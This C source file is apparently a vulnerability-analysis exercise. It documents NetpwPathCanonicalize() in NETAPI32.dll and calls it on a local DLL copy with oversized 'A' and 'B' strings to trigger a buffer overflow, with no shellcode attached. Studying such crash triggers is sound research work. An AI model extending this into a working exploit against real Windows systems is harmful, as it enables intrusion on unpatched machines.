/* The function NetpwPathCanonicalize() is used to combine path strings, and is defined as follows:

void NetpwPathCanonicalize(
    dword lpWideCharStr,        // +8h, pointer to a Unicode string for generating the second part of the path string.
    dword arg_4,                // +0Ch, pointer to a buffer for receiving the formatted string.
    dword arg_8,                // +10h, indicates the size of arg_4.
    dword arg_C,                // +14h, pointer to a Unicode string for generating the first part of the path string.
    dword arg_10,               // +18h
    dword arg_14                // +1Ch
);

Parameter explanation:
lpWideCharStr: Pointer to a Unicode string, used to generate the second part of the path string.
arg_4: Pointer to a buffer, used to receive the formatted string.
arg_8: Indicates the size of arg_4.
arg_C: Pointer to a Unicode string, used to generate the first part of the path string.

The function combines the string pointed to by arg_C with a ‘\’, then adds the string pointed to by lpWideCharStr, and places it in the buffer of arg_4. That is:
arg_C + ‘\’ + lpWideCharStr => arg_4[arg_8]
*/

#include <windows.h>
typedef void (*MYPROC)(LPTSTR, ...);

int main()
{
    // Set the length of the second part of the path string to 0x21A
    char lpWideCharStr[0x21A];
    // Set the buffer space for receiving the formatted string to 0x420
    char arg_4[0x420];
    // Indicates the size of arg_4, set it to the same size as the buffer of arg_4
    int  arg_8 = 0x420;
    // Set the length of the first part of the path string to 0x206, which is exactly the threshold size
    char arg_C[0x206];
    long arg_10 = 1;
    
    HINSTANCE libHandle; MYPROC funcAddr;
    // Load the NETAPI32.dll function
    char dllName[] = "./NETAPI32.dll";
    libHandle = LoadLibrary(dllName);
    // Get the address of the function NetpwPathCanonicalize()
    funcAddr = (MYPROC)GetProcAddress(libHandle, "NetpwPathCanonicalize");
    // Verify if it is successfully obtained, if not, release the handle resources
    if ( libHandle == NULL || funcAddr == NULL )
    {
        MessageBox(0, "Load error!", "Warning", 0);
        FreeLibrary(libHandle);
    }
    // Fill the first part of the path string with 'A', ending with \x00 in the last two positions
    memset(arg_C, 0, sizeof(arg_C));
    memset(arg_C, 'A', sizeof(arg_C)-2);
    // Fill the second part of the path string with 'B', ending with \x00 in the last two positions
    memset(lpWideCharStr, 0, sizeof(lpWideCharStr));
    memset(lpWideCharStr, 'B', sizeof(lpWideCharStr)-2);
    // Call the NetpwPathCanonicalize() function
    (funcAddr)(lpWideCharStr, arg_4, arg_8, arg_C, &arg_10, 0);
    // Release handle resources
    FreeLibrary(libHandle);
    // Return
    return 0;
}
